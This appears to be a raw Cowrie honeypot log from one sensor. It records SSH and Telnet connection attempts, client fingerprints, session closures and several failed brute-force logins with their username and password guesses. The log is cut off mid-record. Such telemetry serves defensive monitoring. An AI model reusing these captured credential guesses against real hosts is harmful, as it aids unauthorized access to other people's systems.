{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:42.501865Z","src_ip":"220.119.37.141","session":"62bca73f64d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47110,"dst_ip":"159.203.135.109","dst_port":23,"session":"f92c168bbffd","protocol":"telnet","message":"New connection: 161.132.53.68:47110 (159.203.135.109:23) [session: f92c168bbffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:42.593876Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47116,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7f49804011f","protocol":"telnet","message":"New connection: 161.132.53.68:47116 (159.203.135.109:23) [session: b7f49804011f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:42.599647Z"}
{"eventid":"cowrie.login.failed","username":"useradmin","password":"useradmin","message":"login attempt [useradmin/useradmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:43.046959Z","src_ip":"124.18.182.99","session":"1eaba9aed4ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.48329448699951,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:43.671594Z","src_ip":"161.132.53.68","session":"5ea5e9105162","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.654029846191406,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:43.929724Z","src_ip":"161.132.53.68","session":"786578db388d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":37576,"dst_ip":"10.17.0.5","dst_port":22,"session":"637ef47c5d82","protocol":"ssh","message":"New connection: 88.205.172.170:37576 (10.17.0.5:22) [session: 637ef47c5d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:44.192924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:44.198228Z","src_ip":"88.205.172.170","session":"637ef47c5d82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.85723352432251,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:44.202603Z","src_ip":"161.132.53.68","session":"bd690dbb0283","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:44.222061Z","src_ip":"124.18.182.99","session":"1eaba9aed4ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:44.358632Z","src_ip":"88.205.172.170","session":"637ef47c5d82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.0912070274353,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:44.818097Z","src_ip":"161.132.53.68","session":"5928b4238a78","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123123","message":"login attempt [test/test123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:45.045956Z","src_ip":"88.205.172.170","session":"637ef47c5d82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:46.210113Z","src_ip":"88.205.172.170","session":"637ef47c5d82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47118,"dst_ip":"159.203.135.109","dst_port":23,"session":"dff229456500","protocol":"telnet","message":"New connection: 161.132.53.68:47118 (159.203.135.109:23) [session: dff229456500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:46.379052Z"}
{"eventid":"cowrie.session.closed","duration":31.235177755355835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:47.459970Z","src_ip":"161.132.53.68","session":"e6e40148b9a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60498,"dst_ip":"10.17.0.5","dst_port":23,"session":"a809a6933b45","protocol":"telnet","message":"New connection: 104.245.105.2:60498 (10.17.0.5:23) [session: a809a6933b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:48.904258Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45236,"dst_ip":"159.203.135.109","dst_port":23,"session":"a49b9f8bc85c","protocol":"telnet","message":"New connection: 161.132.53.68:45236 (159.203.135.109:23) [session: a49b9f8bc85c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:52.471965Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45252,"dst_ip":"159.203.135.109","dst_port":23,"session":"be43c66513c0","protocol":"telnet","message":"New connection: 161.132.53.68:45252 (159.203.135.109:23) [session: be43c66513c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:53.886280Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45260,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fc789d6bc98","protocol":"telnet","message":"New connection: 161.132.53.68:45260 (159.203.135.109:23) [session: 2fc789d6bc98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:54.659513Z"}
{"eventid":"cowrie.session.closed","duration":32.565587520599365,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:56.694524Z","src_ip":"161.132.53.68","session":"cdac92d95dd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":59288,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1d2dcb2bdef","protocol":"telnet","message":"New connection: 161.132.53.68:59288 (159.203.135.109:23) [session: d1d2dcb2bdef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:56.926684Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":59302,"dst_ip":"159.203.135.109","dst_port":23,"session":"84149da8cecd","protocol":"telnet","message":"New connection: 161.132.53.68:59302 (159.203.135.109:23) [session: 84149da8cecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:57.071519Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45270,"dst_ip":"159.203.135.109","dst_port":23,"session":"e22df5232ff3","protocol":"telnet","message":"New connection: 161.132.53.68:45270 (159.203.135.109:23) [session: e22df5232ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:57.621622Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":59312,"dst_ip":"159.203.135.109","dst_port":23,"session":"5da45b84373f","protocol":"telnet","message":"New connection: 161.132.53.68:59312 (159.203.135.109:23) [session: 5da45b84373f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:57.783446Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56138,"dst_ip":"10.17.0.5","dst_port":23,"session":"b70abd336298","protocol":"telnet","message":"New connection: 104.245.105.2:56138 (10.17.0.5:23) [session: b70abd336298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:29:59.297283Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":50312,"dst_ip":"159.203.135.109","dst_port":22,"session":"49c9b4d54a38","protocol":"ssh","message":"New connection: 200.105.172.184:50312 (159.203.135.109:22) [session: 49c9b4d54a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:01.030416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:01.035817Z","src_ip":"200.105.172.184","session":"49c9b4d54a38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:01.152009Z","src_ip":"200.105.172.184","session":"49c9b4d54a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qq@123456","message":"login attempt [ubuntu/Qq@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:01.641144Z","src_ip":"200.105.172.184","session":"49c9b4d54a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.086573600769043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:02.555448Z","src_ip":"161.132.53.68","session":"68243a7f719a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:02.769350Z","src_ip":"200.105.172.184","session":"49c9b4d54a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36990,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a7d717b5e2f","protocol":"telnet","message":"New connection: 104.245.105.2:36990 (10.17.0.5:23) [session: 3a7d717b5e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:04.494280Z"}
{"eventid":"cowrie.session.closed","duration":31.58544111251831,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:04.920224Z","src_ip":"161.132.53.68","session":"bdde6c58c112","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.294339656829834,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:07.527565Z","src_ip":"161.132.53.68","session":"3bdf58ca07fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.18091869354248,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:07.544995Z","src_ip":"161.132.53.68","session":"8c2eaf9bae24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.494685888290405,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:07.798163Z","src_ip":"161.132.53.68","session":"4a14a068110b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37000,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad3a7732e79f","protocol":"telnet","message":"New connection: 104.245.105.2:37000 (10.17.0.5:23) [session: ad3a7732e79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:08.112208Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":54170,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e1a406d2ad5","protocol":"telnet","message":"New connection: 192.119.108.58:54170 (159.203.135.109:23) [session: 1e1a406d2ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:08.192279Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":33180,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae97e4ca72af","protocol":"telnet","message":"New connection: 161.132.53.68:33180 (159.203.135.109:23) [session: ae97e4ca72af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:08.274715Z"}
{"eventid":"cowrie.session.closed","duration":30.634464025497437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:08.299441Z","src_ip":"161.132.53.68","session":"fff309433e41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":39462,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa54f48fcceb","protocol":"ssh","message":"New connection: 223.17.5.126:39462 (159.203.135.109:22) [session: fa54f48fcceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:08.505004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:08.516195Z","src_ip":"223.17.5.126","session":"fa54f48fcceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":33194,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1c283d11077","protocol":"telnet","message":"New connection: 161.132.53.68:33194 (159.203.135.109:23) [session: f1c283d11077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:08.545449Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":33208,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3cfa1542e91","protocol":"telnet","message":"New connection: 161.132.53.68:33208 (159.203.135.109:23) [session: b3cfa1542e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:08.558445Z"}
{"eventid":"cowrie.session.closed","duration":31.914968729019165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:08.640527Z","src_ip":"161.132.53.68","session":"26833c6c9d4f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:08.750484Z","src_ip":"223.17.5.126","session":"fa54f48fcceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.48828339576721,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:09.327066Z","src_ip":"104.245.105.2","session":"e3f20e27980d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test2","password":"111111","message":"login attempt [test2/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:09.656606Z","src_ip":"223.17.5.126","session":"fa54f48fcceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":33224,"dst_ip":"159.203.135.109","dst_port":23,"session":"79b10aa10130","protocol":"telnet","message":"New connection: 161.132.53.68:33224 (159.203.135.109:23) [session: 79b10aa10130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:10.472209Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:10.878171Z","src_ip":"223.17.5.126","session":"fa54f48fcceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36688,"dst_ip":"10.17.0.5","dst_port":23,"session":"f36f1d9aeea6","protocol":"telnet","message":"New connection: 104.245.105.2:36688 (10.17.0.5:23) [session: f36f1d9aeea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:13.407592Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":33236,"dst_ip":"159.203.135.109","dst_port":23,"session":"e55b880bb9b3","protocol":"telnet","message":"New connection: 161.132.53.68:33236 (159.203.135.109:23) [session: e55b880bb9b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:13.881440Z"}
{"eventid":"cowrie.session.closed","duration":31.761052131652832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:14.360622Z","src_ip":"161.132.53.68","session":"b7f49804011f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.64974856376648,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:15.243501Z","src_ip":"161.132.53.68","session":"f92c168bbffd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":33252,"dst_ip":"159.203.135.109","dst_port":23,"session":"0534efe1aee1","protocol":"telnet","message":"New connection: 161.132.53.68:33252 (159.203.135.109:23) [session: 0534efe1aee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:15.772314Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41314,"dst_ip":"159.203.135.109","dst_port":23,"session":"7df610b04885","protocol":"telnet","message":"New connection: 161.132.53.68:41314 (159.203.135.109:23) [session: 7df610b04885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:17.539857Z"}
{"eventid":"cowrie.session.closed","duration":31.37260913848877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:17.751548Z","src_ip":"161.132.53.68","session":"dff229456500","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.180535554885864,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:22.084683Z","src_ip":"104.245.105.2","session":"a809a6933b45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.57224130630493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:24.044081Z","src_ip":"161.132.53.68","session":"a49b9f8bc85c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41322,"dst_ip":"159.203.135.109","dst_port":23,"session":"aba216daf970","protocol":"telnet","message":"New connection: 161.132.53.68:41322 (159.203.135.109:23) [session: aba216daf970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:24.100273Z"}
{"eventid":"cowrie.session.closed","duration":30.692460775375366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:25.351622Z","src_ip":"161.132.53.68","session":"2fc789d6bc98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":54608,"dst_ip":"10.17.0.5","dst_port":22,"session":"f145dca778ff","protocol":"ssh","message":"New connection: 114.35.59.237:54608 (10.17.0.5:22) [session: f145dca778ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:25.932475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:30:25.938441Z","src_ip":"114.35.59.237","session":"f145dca778ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-n